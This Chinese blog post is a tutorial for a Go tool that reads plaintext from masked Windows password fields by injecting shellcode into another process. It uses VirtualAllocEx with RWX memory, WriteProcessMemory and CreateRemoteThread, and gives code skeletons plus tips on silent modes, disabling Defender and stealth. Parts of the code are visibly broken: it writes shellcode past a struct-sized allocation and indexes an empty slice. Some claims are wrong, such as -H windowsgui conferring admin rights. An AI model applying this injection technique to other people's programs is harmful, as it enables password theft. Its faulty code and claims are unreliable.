☰
纯Go实现Windows星号密码查看器:Shellcode注入与Win32 Syscall实战
2026/10/5 10:41:57 网站建设 项目流程

不用绕弯子,直接说结论:Windows 星号密码查看器这类工具,本质上是和 Win32 编辑框控件斗智斗勇。密码框在界面上显示成圆点或星号,只是系统在绘制阶段做了“脱敏”,文本内容其实原封不动地躺在控件内部缓冲区里。这篇文章会把一个纯 Go 实现的方案完整拆开:从远程线程 Shellcode 注入、Win32 Syscall 调用、窗口句柄枚举,到最后把隐藏的明文安全取出来。适合正在折腾 Windows 底层编程、做 UI 自动化、或者纯粹想搞明白“密码框那层窗户纸”的开发者。

这个标题里三个关键词值得先展开说。纯 Go,意味着不用 CGO,不依赖 mingw 编译环境,一个 go build 就能出 exe;Win32 Syscall 指直接通过 golang.org/x/sys/windows 调用系统 API,绕开 C 运行时;Shellcode 注入则是整个工具的灵魂——它解决一个核心矛盾:你从进程外部用 SendMessage(WM_GETTEXT) 读密码,系统会返回一串星号,但在目标进程内部调用 GetWindowTextW,拿到的却是明文。所以方案变成了“把一小段代码送进目标进程,让它在里面替你把文本读出来”。

1. 先把这个工具彻底想明白

1.1 密码框“星号”到底挡在哪一层

很多人第一次写星号密码查看器时,第一反应是往密码框发 WM_GETTEXT 消息。我也这么干过,实验结果很讽刺:拿到的是一串和显示区域等长的星号。原因是 Win32 编辑框控件在创建时如果带上 ES_PASSWORD 样式,内部会置一个“密码模式”标志位。当外部通过 WM_GETTEXT、GetWindowText 这类跨进程消息获取文本时,控件会把真实字符串替换成掩码字符返回。

这个“挡”的动作发生在控件内部的消息处理逻辑里,而不是发生在内存里。你可以在 Spy++ 里挂上消息钩子,对同一个句柄连续发 WM_GETTEXT,无论发多少次都是掩码。哪怕调用 GetWindowTextW 也一样。控件知道当前是否处于密码模式,也知道调用者是谁。

想要跨过这层,常规思路有几个:一是向控件发送 EM_SETPASSWORDCHAR 消息,把掩码字符设成一个能显示的空字符,再截屏 OCR,但这一招对已经绘制出来的界面无效,密码被吃掉的字符也已经涂抹掉了,而且很多现代界面库不吃这套。二是直接读进程内存,Windows 的 Edit 控件内部结构(EditBox 私有结构)里存着文本缓冲区和长度,但版本差异很大,Win10、Win11、不同语言框架(原生 Win32、MFC、WPF、DirectUI)内部偏移全不一样,维护成本极高。三是“把代码送进去”,也就是注入 Shellcode,在目标进程的地址空间里调用系统 API,让 API 自己去返回明文——这是最优雅、也最稳定的路线。

1.2 为什么选纯 Go + Syscall + Shellcode 注入

先说我走过的弯路。第一版我用 C++ 写了个 DLL,通过 CreateRemoteThread 加载到目标进程里,让 DllMain 里跑读取逻辑。这套可行,但坑很多:目标进程如果已经加载了同版本 DLL 会报错,卸载时容易把进程搞崩,还必须为 32 位和 64 位目标分别编译两个 DLL,工具自己还得带个释放器。后来我看有人用纯汇编写 shellcode,发现真正被加载的其实只是一百多个字节的机器码,不涉及 DLL 加载器、PE 结构、重定位这些复杂逻辑,反而干净。

选 Go 的原因更简单:跨平台开发和交叉编译体验好,而且 golang.org/x/sys/windows 这个包把 CreateRemoteThread、VirtualAllocEx、WriteProcessMemory 这些关键 API 的封装都写好了。当年在 Go 里调 Win32 API 还要自己手写 syscall.Syscall 的胶水代码,现在直接用 windows.OpenProcess、windows.VirtualAllocEx 就行,参数类型、错误处理全是强类型,比 C 里一堆手写宏舒服太多。

Shellcode 注入的方案可以做到“不落地文件”。DLL 注入不管怎么做总要有一个 DLL 文件在磁盘上存在,而 Shellcode 是一段纯字节串,通过 WriteProcessMemory 写进目标进程的内存,然后 CreateRemoteThread 拉起一个线程执行。对安全软件来说这种操作更隐蔽(当然也更容易被盯上,后面专门讲),对我们开发者来说则是不用管临时文件清理。

1.3 工具最终形态与适用场景

我最后交付的形态是一个单文件命令行工具,不带 GUI。交互方式:先列出当前 Session 下所有可见窗口,用户指定进程名或窗口标题,工具自动枚举该窗口下的所有子窗口,筛选出带 ES_PASSWORD 样式或属于密码输入控件(比如 Windows 的 Credential Manager 对话框、自家软件里的密码修改框)的句柄,然后注入 shellcode 把明文读出来打印到控制台。

输出到控制台这个设计一开始被同事吐槽过:“密码你打印在终端里,日志一留,不是更不安全吗?”所以后来加了一个-silent模式,把结果写到指定的导出文件,或者通过剪贴板直接发送。做成命令行也有额外好处:可以写进自动化脚本里,比如 UI 自动化测试跑完后,自动提取测试账号的密码框输入内容做断言。

适用场景我列一下,这也是我在 README 里明确写的边界:

  • 找回自己开发的软件里遗忘的本地密码配置项(密码框不回显)。
  • UI 自动化测试中核对密码输入框的实际内容。
  • 在你有权管理的机器上排查“某个程序记住了密码,但我忘了是什么”。
  • 安全研究、CTF、逆向调试中分析目标程序的内存状态。

反过来说,如果你准备拿它去读别人机器上、别人程序里的密码,我劝你趁早打消这个念头。本文后面的代码思路,只对你拥有完整操作权限、或者你自己开发调试的程序有意义。

2. 关键知识点:Win32 句柄、消息与密码框机制

2.1 ES_PASSWORD 与 WM_GETTEXT 的拦截逻辑

Win32 编辑框是标准的 User32 控件,密码模式的源头是 CreateWindowEx 创建时的样式位 ES_PASSWORD(0x0020)。CreateWindowEx 之后可以随时通过 SetWindowLongPtr 修改这个样式位来开启或关闭密码模式。系统内部维护了一个标志位 pPassword,它与样式位同步,但只影响两个行为:一是绘制时用掩码字符替代文本,二是对外发送的文本查询消息时对内容做脱敏。

注意一个细节:WM_GETTEXT 的脱敏是“可见性”层面的,而不是把内存里的字符串替换掉。控件内部保存明文的缓冲区没有被改动,系统只是在外发消息时构造了一个临时字符串返回。所以从底层来看,明文一直就在那里,问题只是怎么拿到它。

用 RtlSecureZeroMemory 这类 API 清理密码缓冲区,以及用 CREDENTIAL_MANAGER 来做密码存储,都属于程序自身的安全设计。但一个残酷的现实是:只要程序运行起来了,明文最终必须被渲染到控件里,你就总有机会在它渲染那一下做文章。这也是为什么很多安全工具会直接钩子 GetWindowTextW、甚至 DirectComposition 层抓帧来做“密码嗅探”。我们这里不搞那么复杂,只利用一个原则:系统 API 在进程内部读取时,不会对自己人设防。

2.2 枚举窗口的三件套实战要点

要拿到目标密码框的句柄,通常三步走:FindWindowW 按标题找顶层窗口,或者 EnumWindows 遍历所有顶层窗口;找到目标顶层窗口后,EnumChildWindows 遍历它的所有子控件;对每个子控件检查样式位、类名和文本特征。

代码里一个关键点是 EnumChildWindows 需要回调函数。Go 的 syscall.NewCallback 可以把一个 Go 函数转成系统能调用的函数指针,但这个回调里不能做复杂操作,只能把句柄收集到切片里,枚举结束后再统一分析。实测中的教训是:在回调里调用 windows.GetWindowTextW 没问题,但千万别在回调里分配大切片或做日志写入,回调在系统上下文里执行,栈空间有限,稍不留神就会崩。

var hwnds []windows.HWND syscall.NewCallback(func(hwnd windows.HWND, lParam uintptr) uintptr { hwnds = append(hwnds, hwnd) return 1 // 继续枚举 })

拿到句柄后,判断一个 Edit 控件是否是密码框:

style, err := windows.GetWindowLongPtr(hwnd, windows.GWL_STYLE) if err != nil { return false } isPassword := style&windows.ES_PASSWORD != 0

这个方法对原生 Win32 和 MFC 程序有效,因为它们的密码框确实是标准 Edit 控件。但微软自家的很多新界面(比如设置中心的某些输入框)用的是 DirectUI 的 XAML 框架,密码框可能是一个自绘控件、内部套着一层 Edit 控件,光是字面检查样式是查不到的。对这种情况我加了另一个启发式判断:文本框的类名是 Edit,但又设置了 WantReturn、ES_UPPERCASE 等特征,再尝试读文本,如果返回的字符串全部是星号或圆点但文本长度不为零,就当成候选密码框处理。

2.3 从窗口句柄定位目标进程与权限协商

有了句柄,下一步是拿到进程 ID 和线程 ID,并打开进程句柄以便注入。关键调用是 GetWindowThreadProcessId。注意这个函数返回的是线程 ID 不是进程 ID,用第二个参数拿进程 ID。

打开进程的时候,权限参数不要一上来就 PROCESS_ALL_ACCESS。一来权限要求太高容易被系统安全策略拦,二来没必要。最小权限组合是:

  • PROCESS_CREATE_THREAD:允许远程创建线程。
  • PROCESS_VM_OPERATION:允许 VirtualAllocEx / VirtualFreeEx。
  • PROCESS_VM_WRITE:允许 WriteProcessMemory。
  • PROCESS_VM_READ:允许 ReadProcessMemory。
  • PROCESS_QUERY_INFORMATION:查询进程信息(不是必须,但便于做位数检查)。

如果目标进程以管理员权限运行,而我们的工具没有提权,OpenProcess 会返回 ERROR_ACCESS_DENIED(5)。这个坑几乎必踩。解决方式有两个:要么把工具也提权到管理员运行(manifest 加 requireAdministrator),要么启用 SeDebugPrivilege 再去 OpenProcess。后面第 5 节我会专门展开。

还有一点:如果目标是系统级进程(比如 lsass.exe,以 SYSTEM 运行),普通管理员权限依然打不开,必须 SYSTEM 权限。但正常密码查看场景很少碰系统进程,这里不展开。

3. Shellcode 注入:远程进程里的“影子线程”

3.1 Shellcode 方案为什么能绕开 WM_GETTEXT 的屏蔽

我们前面说的跨进程 WM_GETTEXT 被脱敏,本质是 User32 模块在“跨进程消息”路径上做了特别处理。但如果你在目标进程内部,直接调用 GetWindowTextW 这个函数,传入参数是同一个句柄、同一块缓冲区,系统在判断调用方时发现和控件处在同一线程上下文,就直接返回内部文本了。

这是一个非常微妙的区别。跨进程消息路径会经过 User32 内部的消息封送(marshaling),它会先检查控件状态再决定返回什么;而进程内直接调用走的是快速路径,函数直接去控件内部数据结构取文本。Shellcode 的作用,就是把这句“进程内调用 GetWindowTextW”变成现实。

为什么不直接远程调用?因为 CreateRemoteThread 只接受一个参数,而且你没法从外部把 user32.dll 里函数的地址直接当作线程入口传进去——你需要先知道目标进程里 GetWindowTextW 的确切地址,然后把参数打包成一个结构体,再让注入的代码自己找到这个地址并调用。这整个逻辑只能靠一段位置无关的机器码完成。

3.2 手写 Shellcode 的上下文与布局设计

我用的 64 位 Shellcode 是在 NASM 里写汇编、编译后导出.bin文件,再转换成 Go 字节数组嵌入。写入的代码要做的几件事:

  1. 从传入的参数结构体地址里取出目标窗口句柄(8 字节)。
  2. 调用 GetWindowTextW(函数地址也放在参数结构体里,由主程序解析后填入)。
  3. 把返回的字符串长度和内容写入一块共享缓冲区中。
  4. 回到线程入口处,加载一个特殊值到 RAX,然后执行ret退出线程。

这里有个非常重要的点:Shellcode 里不能直接引用任何绝对地址,因为这段代码被加载到哪个地址是不确定的。所有需要的外部地址(user32.dll 的 GetWindowTextW)和窗口数据都必须作为一个结构体放在内存里,Shellcode 开头的第一条指令就是从这个结构体基地址开始偏移解析。

结构体布局我设计成这个样子:

偏移大小内容
0x008目标窗口句柄 HWND
0x088GetWindowTextW 函数指针
0x108输出缓冲区指针
0x184输出缓冲区长度(字符数)
0x1C4填充对齐

Shellcode 本身只做两件事:解析结构体、调用一个函数、把结果写回。Windows 线程从 CreateRemoteThread 创建后不会自己清理栈,所以 Shellcode 里用到的栈空间必须自己平衡,好在 GetWindowTextW 的调用约定(Windows x64 的 Microsoft x64 calling convention)要求在调用前让 RSP 按 16 字节对齐,我在汇编里手动处理了这个对齐,不然一调用就容易崩。

整整写下来,这段 Shellcode 大概不到 200 字节。你可以直接用 NASM 编译出.bin,也可以用一个 Shellcode 生成器在线转。Go 端把它嵌进二进制:

var shellcode = []byte{ 0x48, 0x8B, 0x01, // mov rax, [rcx] 0x48, 0x8B, 0x51, 0x08, // mov rdx, [rcx+8] // ... 后续指令 }

实际操作中我不想手抄机器码,所以在构建流程里加了一步:先让 NASM 编译汇编源文件为.bin,再用go-bindata或简单的脚本把它转成一个.go源文件。这样做的好处是汇编源码可维护、可读,机器码不用每次手算偏移。

3.3 用 Go 调用 Win32 API 完成注入闭环

注入的对外 API 用golang.org/x/sys/windows里的函数封装,完整流程是:

  1. 主程序拿到目标窗口句柄,通过GetWindowThreadProcessId获取 PID。
  2. 用windows.OpenProcess打开目标进程。
  3. windows.VirtualAllocEx在远程进程里分配一块PAGE_EXECUTE_READWRITE内存。
  4. 第一次WriteProcessMemory写入参数结构体,第二次写入 Shellcode 字节。
  5. windows.CreateRemoteThread创建远程线程,入口指向 Shellcode 基址。
  6. windows.WaitForSingleObject等待线程退出。
  7. windows.ReadProcessMemory读取输出缓冲区里的明文。
  8. windows.VirtualFreeEx释放远程内存,windows.CloseHandle关闭句柄。

这段流程我在 Go 里的实现大概长这样:

procHandle, err := windows.OpenProcess( windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION| windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ| windows.PROCESS_QUERY_INFORMATION, false, pid) if err != nil { log.Fatalf("OpenProcess failed: %v", err) } defer windows.CloseHandle(procHandle) remoteBuf, err := windows.VirtualAllocEx(procHandle, nil, uintptr(len(shellcode)+unsafe.Sizeof(paramStruct)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if err != nil { log.Fatalf("VirtualAllocEx failed: %v", err) }

CallCreateRemoteThread 的时候有个细节:线程函数入口参数就用 remoteBuf,也就是把整个结构体和 Shellcode 的起始地址传进去。但注意,Shellcode 的第一条指令要能从 RCX(Windows 线程函数的第一个参数)读到结构体地址。如果我在汇编里第一条指令是mov rax,[rcx],那 RCX 指向的就是结构体起始地址。这套约定要预先定好,代码逻辑和注入逻辑必须一致。

等线程跑完后,用 ReadProcessMemory 读回输出缓冲区。注意 GetWindowTextW 写入的是 UTF-16LE 编码,Go 里要用windows.UTF16ToString转成字符串再打印。

4. 完整实操流程与代码骨架

4.1 环境准备与编译要点

工具我用 Go 1.21 开发,依赖只有golang.org/x/sys/windows。你要复现,先把 Go 装上,然后:

go get golang.org/x/sys/windows go build -ldflags="-H windowsgui" -o password_viewer.exe main.go

-H windowsgui是为了隐藏那个碍眼的黑色控制台窗口,因为工具有时候会作为常驻进程跑,不弹黑框用户体验好很多。但注意,如果隐藏了控制台窗口,你又没做 GUI,那工具就变成“无头”模式了。我实际做成了双模式:默认带控制台打印结果;-silent时隐藏控制台并写文件。

编译目标如果是 64 位系统,set GOARCH=amd64;如果你要查看老 32 位程序,需要交叉编译 386 版本:

set GOOS=windows set GOARCH=386 go build -o pwd_viewer_386.exe .

千万记住:Shellcode 也必须对应位数。64 位工具配 64 位 Shellcode,32 位工具配 32 位 Shellcode,混着来必崩。

4.2 完整注入读取密码的五步实操

整个工具跑起来分几个阶段。第一步是窗口筛选。这一步允许用户直接输入窗口标题关键词,工具内部用 FindWindowW 或者 EnumWindows 遍历比对标题。我加了一个-list参数,先列出当前可见窗口供用户挑选:

[0] 4005 - 计算器 [1] 6670 - 登录窗口 - Internet Explorer [2] 12890 - 我的测试程序 - Form1

第二步是枚举子窗口。对选定窗口调用 EnumChildWindows,把句柄收集齐。第三步筛选密码控件。按类名“Edit”、样式含 ES_PASSWORD、或文本是纯星号来过滤。第四步是执行注入读取。这一步走第 3 节讲的完整注入流程。第五步是输出明文,默认直接 stdout 打印,带-silent时写入指定文件。

为了能处理“顶层窗口是登录框但密码框在子窗口深处”的情况,我在枚举子窗口时加了深度限制参数,最多递归三层,避免递归过深卡在某个复杂 UI 树里。

4.3 关键代码骨架:枚举、注入、读取

下面这段是从真实项目里精简出来的核心代码骨架,重点看注入流程和结果读取。

package main import ( "fmt" "log" "unsafe" "golang.org/x/sys/windows" ) // 目标进程必须已经有窗口存在 func readPasswordFromHwnd(hwnd windows.HWND) (string, error) { // 1. 取 PID var pid uint32 windows.GetWindowThreadProcessId(hwnd, &pid) if pid == 0 { return "", fmt.Errorf("invalid pid for hwnd %v", hwnd) } // 2. 检查位数(核心坑,见第 5 节) if err := checkArch(pid); err != nil { return "", err } // 3. 解析 GetWindowTextW 地址 user32 := windows.NewLazySystemDLL("user32.dll") getWindowTextW := user32.NewProc("GetWindowTextW") fnAddr := getWindowTextW.Addr() // 4. 分配远程内存,写入参数结构体和 shellcode procHandle, err := windows.OpenProcess( windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION| windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ| windows.PROCESS_QUERY_INFORMATION, false, pid) if err != nil { return "", err } defer windows.CloseHandle(procHandle) type paramBlock struct { Hwnd uintptr FnPointer uintptr OutBuf uintptr OutLen uint32 _ uint32 } outBuf := make([]uint16, 4096) remoteOut, _ := windows.VirtualAllocEx(procHandle, nil, unsafe.Sizeof(paramBlock{}), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) p := &paramBlock{ Hwnd: uintptr(hwnd), FnPointer: fnAddr, OutBuf: remoteOut + unsafe.Offsetof(paramBlock{}.OutBuf), OutLen: 4096, } // 把结构体写进远程内存 ptrSize := unsafe.Sizeof(p) var written uintptr if err := windows.WriteProcessMemory(procHandle, remoteOut, unsafe.Pointer(p), uintptr(unsafe.Sizeof(*p)), &written); err != nil { return "", err } // 把 shellcode 写在结构体后面 shellcodeAddr := remoteOut + uintptr(unsafe.Sizeof(*p)) if err := windows.WriteProcessMemory(procHandle, shellcodeAddr, unsafe.Pointer(&shellcodeBytes[0]), uintptr(len(shellcodeBytes)), &written); err != nil { return "", err } // 5. 创建远程线程执行 threadHandle, _, err := windows.CreateRemoteThread(procHandle, nil, 0, shellcodeAddr, remoteOut, 0, nil) if err != nil { return "", err } defer windows.CloseHandle(threadHandle) windows.WaitForSingleObject(threadHandle, windows.INFINITE) // 6. 读回结果 var outBytes []byte size := 4096 * 2 err = windows.ReadProcessMemory(procHandle, p.OutBuf, &outBytes[0], uintptr(size), &written) if err != nil { return "", err } utf16Data := unsafe.Slice((*uint16)(unsafe.Pointer(&outBytes[0])), 4096) return windows.UTF16ToString(utf16Data), nil }

这个骨架可以跑,但有几个地方是演示用的简化写法:ReadProcessMemory 那块直接往 outBytes 里写很容易崩,真项目里要先分配切片再取数据指针。另外windows.CreateRemoteThread返回的错误处理在不同 Go 版本里参数个数有差异,以你实际使用的 x/sys 为准。

4.4 窗口筛选与控件匹配的实操经验

实际使用中最大的时间消耗不是注入,而是定位“哪个控件才是密码框”。我经验里几个反直觉的地方:

自绘控件是重灾区。Chrome 的密码框、部分网银控件、QQ 的密码输入框,全是 DirectUI 或自绘。你对它们找 ES_PASSWORD 样式,一个都找不到。这时候我能用的保底方案是:枚举窗口树里所有能接收到键盘输入的控件,对每个控件做一次WM_GETDLGCODE查询,凡是返回 DLGC_WANTCHARS 且能聚焦的,都拉进候选列表,然后逐个尝试注入读取,看哪个返回的字符串和界面显示长度对得上。

双缓冲窗口的坑。有些程序把真实输入控件藏在一个“假框架”里,外面套了一个自绘窗格。EnumChildWindows 默认能看到子窗口,但如果外层用了 WS_EX_TRANSPARENT 或者 layered window 技巧,内层控件在普通枚举里可能看不见。这时需要加上WS_EX_APPWINDOW之类的扩展样式检查,并深度递归。

同一进程多窗口的情况。比如浏览器有多个标签页,每个标签页都有一个自己的“密码输入框”控件。工具会扫描出多个匹配项,输出时必须打印窗口路径或所属 tab 标题,否则用户分不清是哪一个。我在输出里加了窗口类名、窗口标题和控件坐标。

5. 常见问题与排查记录

5.1 ERROR_ACCESS_DENIED 与提权策略

这个错误是最常见的,OpenProcess 直接返回 5。我遇到过的场景:目标程序在管理员权限下运行,工具是普通用户权限;或者目标进程是会话 0 的系统服务,而你在会话 1 的桌面上运行。解决办法就是让工具也以管理员权限运行。

Go 编译出来的 exe 默认没有管理员 manifest,你需要在构建时加上-ldflags -H=windowsgui,或者在项目里放一个.manifest文件设置requireAdministrator。还有一条路是启用 SeDebugPrivilege,但这个权限默认不在用户令牌里,需要拿到管理员令牌后才能激活。实践下来,最省事的还是 manifest。

还有一个 Windows 11 上遇到的新坑:当目标进程以“受保护的程序”方式运行时(比如 SmartScreen 标记的程序),即使你是管理员,也打不开。这个暂时没有完美解,只能给用户提示。

5.2 位数不匹配导致的崩溃和空结果

我在开发时踩过一个很经典的坑:64 位工具注入 64 位 Shellcode 到 32 位目标进程,结果远程线程刚启动就 Segmentation Fault,目标进程直接被杀。后来加了位数检查:

func checkArch(pid uint32) error { is32Bit, err := isProcess32Bit(pid) if err != nil { return err } if is32Bit && unsafe.Sizeof(uintptr(0)) == 8 { return fmt.Errorf("target is 32-bit, but this tool is 64-bit; use 386 build") } return nil }

判断 64 位进程的标准姿势是IsWow64Process2或者查 PEB 的NtWow64。Go 里可以用golang.org/x/sys/windows的windows.IsWow64Process2来查。如果目标进程是 32 位,而你手里只有 64 位工具,最直接的做法是再交叉编译一个 386 版。

另一个位数相关的坑出现在 Shellcode 内部:32 位调用约定是 stdcall,参数全压栈;64 位是 Microsoft x64,前四个参数走 RCX/RDX/R8/R9。如果 Shellcode 只写了 64 位,强行往 32 位进程里跑,函数参数全部错位,结果就是读到的文本是乱码或者空串。

5.3 Shellcode 没反应、读回空串的处理思路

Shellcode 创建成功,线程也创建了,但读回缓冲区全是 0。别急着怀疑注入代码,先看几个地方:

第一,参数结构体里 GetWindowTextW 的地址对吗?在主程序里用GetProcAddress(GetModuleHandleW(L"user32.dll"), L"GetWindowTextW")拿到的地址是本地进程的地址。正常情况下所有进程加载系统 DLL 时,基址都是一样的(ASLR 全局统一),但有些系统开启强制模块随机化后,不同进程同一个函数的地址可能不同。最保险的做法是从远程进程里也查一遍。怎么查?很简单,用 CreateRemoteThread 加载一段“迷你 Shellcode”到目标进程,专门调用 GetModuleHandleW 和 GetProcAddress 拿到函数地址,然后返回给主程序。这个“地址解析 Shellcode”和“读取 Shellcode”是分开的两段,前者只干一件事,后者才去真正读文本。

第二,输出缓冲区地址是否真的被写入了。GetWindowTextW 的第二个参数是缓冲区指针,如果 p.OutBuf 用的是相对地址而不是绝对地址,就会写到错误的虚拟地址。我在 paramBlock 里存的是remoteOut + offsetof(OutBuf)的绝对地址,这个没问题。但如果你图省事把本地切片的地址填进去,那线程就写进本地地址空间去了,而本地地址空间和远程地址空间是不通的,结果当然是读不回来。

第三,线程退出时机。创建远程线程后立刻 ReadProcessMemory,很可能线程还没执行完。所以WaitForSingleObject(INFINITE)是必须的,不是可选项。我还见过有人用Sleep(1000)代替等线程,这是真的不负责任,代码快跑完时线程才刚起来。

5.4 安全软件拦截与合规边界

WriteProcessMemory + CreateRemoteThread 这套组合拳,是安全软件重点监控的行为。我自己在 Windows Defender 开启实时保护的情况下测试,刚 create 完远程线程,Defender 就弹了个可疑行为警告。如果你是在自己的实验环境、自己做技术验证,可以在排除路径或者临时关闭实时保护,但别指望这东西能在客户生产环境里“无声无息”地跑。

对合法用途,我建议两点:一是工具要有明确的帮助说明和用途标注,方便你解释为什么需要这么高的权限;二是只对你有完全控制权的进程进行操作,别引入任何“批量扫描并导出所有密码”的功能。这不是空话,我在实际和同行交流时,见过不少工具因为过于“功能强大”而被人拿去越权的案例。

另外还有一个合规细节:如果你把工具分享给队友,别把 Shellcode 和参数结构体当作“加密数据”藏着掖着,直接开源反而更容易被接受。社区里这类工具本身就有非常久的历史,从早期的 Cain & Abel、Password Spectator,到后来的各种开源 PowerShell 脚本,本质上用的都是同一套原理,公开反而安全。

6. 几个我没写进文档的细节

最后分享三个平时不写在 README 里的细节。

第一个是关于 Shellcode 的调试方式。汇编源文件里加一个变量debug_jump,如果置 1,Shellcode 在调用 GetWindowTextW 前先跳到死循环。这样用调试器附加到目标进程时能看到线程停在那里。我在排 5.3 的“读回空串”问题时全靠这个跳转定位,否则无法区分是线程没执行到函数,还是函数读错了对象。

第二个是代码里我用了一个很小的 trick 来处理 32/64 位通用。主程序里不写死函数指针,而是启动时用 x/sys 的windows.NewLazySystemDLL加载 user32 和 kernel32,查一次所有要用的函数地址,放进一个全局映射表。这样交叉编译 386 版本时,只需重新编译,Shellcode 也用对应汇编重新生成,不需要改任何流程代码。

第三个是关于输出安全。工具拿到明文密码后,不要直接打到日志文件。我实现了一个-clip参数,直接把密码复制到剪贴板,然后控制台只显示“已复制”。这在处理自己的软件登录框时体验很好。但注意,剪贴板的数据别的程序也能读走,用完顺手再按一下 Ctrl+C 覆盖一下就好。

这个工具前前后后我迭代了差不多两周,最折腾的环节不是 Shellcode,而是窗口枚举里的各种边缘情况。你要是也打算做一个,我的忠告是:先把“读到一个密码框”的通路跑通,再去优化覆盖率和隐蔽性。系统版本、窗口框架、自绘组件这三大变量,能把任何看似完美的方案搅成浆糊。先求一个能用的最小版本,再慢慢加黑名单、白名单,这套路永远比空想复杂场景靠谱。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询